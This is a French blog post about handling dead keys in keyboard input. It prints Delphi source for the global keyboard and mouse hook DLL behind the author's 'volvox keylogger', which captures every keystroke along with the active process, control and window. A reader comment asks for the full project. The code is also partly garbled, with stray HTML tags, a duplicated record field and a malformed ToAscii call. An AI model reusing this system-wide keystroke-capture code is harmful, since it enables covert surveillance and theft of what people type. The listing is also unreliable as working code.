La touche morte

L’encyclopédie Wikipédia donne une bonne définition de la touche morte sur les claviers d’ordinateur:  « Une touche morte est une touche qui ne produit aucun résultat lorsqu’elle est enfoncée, mais modifie le comportement de la prochaine touche qui sera enfoncée. Il existe de nombreuses combinaisons de touches mortes et selon les dispositions des claviers et les réglages, le comportement des touches connues comme étant mortes est quelque peu différent. » [Ref: Wikipédia – Touche Morte]

La touche morte sert habituellement à poser un accent sur les voyelles pour les clavier ne les offrant pas directement, par exemple  ‘ â, ê, î, ù, ë…’  et leurs majuscules. Ainsi, la touche ‘ ^ ‘ est une touche morte qui va s’afficher seulement lorsqu’une deuxième touche est enfoncée.

La touche morte est définie sur le clavier par les paramètres régionaux du système, ce qui peut compliquer la programmation lorsque l’on veut les interpréter. C’est le cas pour mon logiciel enregistreur de frappes ‘volvox keylogger‘ qui actuellement ne sait pas déceler les touches mortes utilisées; dans une version à venir, ces touches seront prises en considération.  Une façon simple de détecter la touche morte est par une fonction qui filtre les frappes en utilisant les keyboard input reference GetKeyboardState ou MapVirtualKey. Par exemple:

Function GetCharFromVKey( vkey: word ): String;
var
keystate: TKeyboardState;
retcode: Integer;
begin
Win32Check( GetKeyboardState( keystate ));
SetLength( Result, 2 );
retcode := ToAscii( vkey, 0 );
Case retcode Of
0: Result := ''; // vide
1: SetLength(Result,1);
Else
Result := '';  { retcode < 0 indique une touche morte}
End;
end;

ou plus simplement :

function IsDeadKey(Key: Word): Boolean;
begin
if MapVirtualKey(Key, 2)  < = 0 then
Result := True
else
Result := False;
end;

Dans le programme, la fonction de touche morte sera placée dans la librairie (Hook.dll)  responsable de la capture des touches et de la souris :

uses
SysUtils,
Windows,
Messages,
Classes,
Dialogs;
{$R *.res}
type
PTMapFile = ^TMapFile;
TMapFile = record
HMouseHook: Cardinal;  { handle du hook souris}
HKeybrdHook:  Cardinal; {handle du hook clavier}
HMouseDestWindow  : Cardinal; {handle de la fenetre qui appelle le hook souris}
HKeybrdDestWindow : Cardinal;  {handle de la fenetre qui appelle le hook clavier}
end;

TMouseInfo = record
aMsg: WParam;
pt: TPoint;
hwnd: Hwnd;
wHitTestCode: Uint;
dwExtraInfo: Dword;
end;

TKeybrdInfo = record
VirtualKey : Integer;   {Le code Virtuel de la touche}
KeyStore   : Integer;  {Informations diverses dont l'état de  la touche}
VirtualKey : Integer;
CurrentProcessId: Cardinal; {id du processus concerné}
CurrentControl: Cardinal;  {handle du contrôle qui a le focus}
WindowHwnd: Cardinal;  {handle de la fenetre concerné}
end;
var
HMapFile   : Cardinal=0;  {Handle de fichier mappé}
PMapFile   : PTMapFile=nil;  {pointeur sur la zone mémoire}
mKey : string;</strong>

function MouseProc(Code: integer; Msg: WParam; MouseHook: LParam): LResult; stdcall;
var
InfoEnvoye: TMouseInfo;  {la donnée envoyée}
MouseStruct: TMouseHookStruct;
CopyDataStruct: TCopyDataStruct;
begin
Result:=0;
if Code= HC_ACTION then  {si le message a été reçu par l'application concernée}
begin
MouseStruct:= PMouseHookStruct(MouseHook)^;
if PMapFile^.HMouseDestWindow<>0 then
begin
InfoEnvoye.pt:= MouseStruct.pt;
InfoEnvoye.hWnd:= MouseStruct.hwnd;
InfoEnvoye.wHitTestCode:= MouseStruct.wHitTestCode;
InfoEnvoye.dwExtraInfo:= MouseStruct.dwExtraInfo;
InfoEnvoye.AMsg:=  Msg;
CopyDataStruct.cbData:= SizeOf(InfoEnvoye);
CopyDataStruct.lpData:= @InfoEnvoye;</strong>
SendMessage(PMapFile.HMouseDestWindow, WM_COPYDATA,0,LongInt(@CopyDataStruct));
end;
end;
if Code< HC_ACTION then Result:= CallNextHookEx(PMapFile^.HMouseHook,Code,Msg,MouseHook);
end;

function BeginMouseHook(HDest: THandle): Boolean; stdcall;
begin
Result:= False;
if (HDest<>0) and (PMapFile^.HMouseHook=0) then
begin
{mémorisation du Handle de la fenetre qui appelle le hook}
PMapFile^.HMouseDestWindow:= HDest;
{initialisation du hook Souris}
PMapFile^.HMouseHook:= SetWindowsHookEx(WH_MOUSE,@MouseProc, HInstance,0);
Result:= True;
end;
end;

procedure EndMouseHook ; stdcall;
begin
UnhookWindowsHookEx(PMapFile^.HMouseHook);
PMapFile^.HMouseDestWindow:= 0;
PMapFile^.HMouseHook:= 0;
end;
{obtenir le caractère de la touche virtuelle pressée
@param vkey est le code de la touche virtuelle, e.g. Key parameter de
OnKeyDown handler. @retourne le caractère ' ' si la touche n'est pas un caractère. En de rares occasions la touche peut retourner deux caractères, e.g.  si un accent est pressé suivi d'une deuxième touche qui n'est pas une lettre. }

function GetCharFromVKey( vkey: word ): String;
var
keystate: TKeyboardState;
retcode: Integer;
begin
Win32Check( GetKeyboardState( keystate ));
SetLength( Result, 2 );
retcode := ToAscii( vkey,
MapVirtualKey( vkey, 0 ),
keystate,
@Result[1],
0 );
Case retcode Of
0: Result := '';  {pas un caractère}
1: SetLength(Result,1);
2: ;
Else
Result := '';  {retcode < 0 indique une touche morte}
End;
end;
{

procedure TForm1.Memo1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
label1.Caption := GetCharFromVKey(Key);
end;
}

function KeyboardProc(Code: integer; VirtualKeyCode: WPARAM; KeyStoreMsgInfo: LPARAM):LRESULT; stdcall;
var
keypress : string;
KeybrdInfo: TKeybrdInfo;
CopyDataStruct: TCopyDataStruct;
begin
Result:=0;
if Code= HC_ACTION then {si le message a été reçu par l'application concernée}
begin
KeybrdInfo.VirtualKey:= VirtualKeyCode;
{ajouté parce que les flèches haut et bas ne   fonctionnent pas autrement!}
if VirtualKeyCode = VK_DOWN then Exit else {touche flèche bas}
if VirtualKeyCode = VK_UP then Exit else  {touche flèche haut}
KeybrdInfo.KeyStore  := KeyStoreMsgInfo;  { informations relatives}
KeybrdInfo.CurrentProcessId:= GetCurrentProcessId;  {process actif}
KeybrdInfo.CurrentControl:= GetFocus;  {controle actif}
KeybrdInfo.WindowHwnd:= GetActiveWindow;  {fenetre active}
{remplissage de la structure pour l'envoyer a notre programme}
CopyDataStruct.cbData:= SizeOf(KeybrdInfo);
CopyDataStruct.lpData:= @KeybrdInfo;
{envoie e la structure }
SendMessage(PMapFile^.HKeybrdDestWindow,WM_COPYDATA,1,LongInt(@CopyDataStruct));
end;          {on renvoie la valeur}
if Code< HC_ACTION then Result:= CallNextHookEx(PMapFile^.HKeybrdHook,Code,VirtualKeyCode,KeyStoreMsgInfo);
end;

function BeginKeybrdHook(HDest: THandle): Boolean; stdcall;
begin
Result:= False;
if (HDest<>0) and (PMapFile^.HKeybrdHook=0) then
begin
{mémorisation du Handle de la fenetre qui appele le hook}
PMapFile^.HKeybrdDestWindow:= HDest;
{initialisation du hook Souris}
PMapFile^.HKeybrdHook:= SetWindowsHookEx(WH_KEYBOARD,@KeyboardProc,HInstance,0);
Result:= True;
end;
end;

procedure EndKeybrdHook;stdcall;
begin
UnhookWindowsHookEx(PMapFile^.HKeybrdHook);
PMapFile^.HKeybrdDestWindow:=0;
PMapFile^.HKeybrdHook:=0;
end;
Procedure LibraryProc(Reason:Integer);
begin
case Reason of
DLL_PROCESS_ATTACH:  {si la dll vien d'etre chargée}
Begin                {création d'une zone memoire de données}
HMapFile := CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,sizeof(TMapFile),'NMB HOOK');
{ouverture d'une vue sur les données en memoire}
PMapFile := MapViewOfFile(HMapFile,FILE_MAP_WRITE,0, 0,0);
end;
DLL_PROCESS_DETACH:  {si la dll est sur le point d'être déchargée}
begin
{Destruction de la vue sur la zone de mémoire partagée}
UnmapViewOfFile(PMapFile);
{Détachement de la zone de mémoire partagée}
CloseHandle(HMapFile);
end;
end;
end;
Exports EndMouseHook;
Exports BeginMouseHook;
Exports BeginKeybrdHook;
Exports EndKeybrdHook;
begin
DllProc:= @LibraryProc;
LibraryProc(DLL_PROCESS_ATTACH);
end.

La mise à jour du logiciel ‘Volvox Keylogger’ à venir bientôt.

Commentaires

  1. CmC a écrit:

    Bonjour Volvox,

    J’aprécie beaucoup votre site et souhaiterai savoir s’il serai possible d’obtenir le projet delphi du keylogger.

    Merci d’avance;
    CmC

Exprimez vous!

*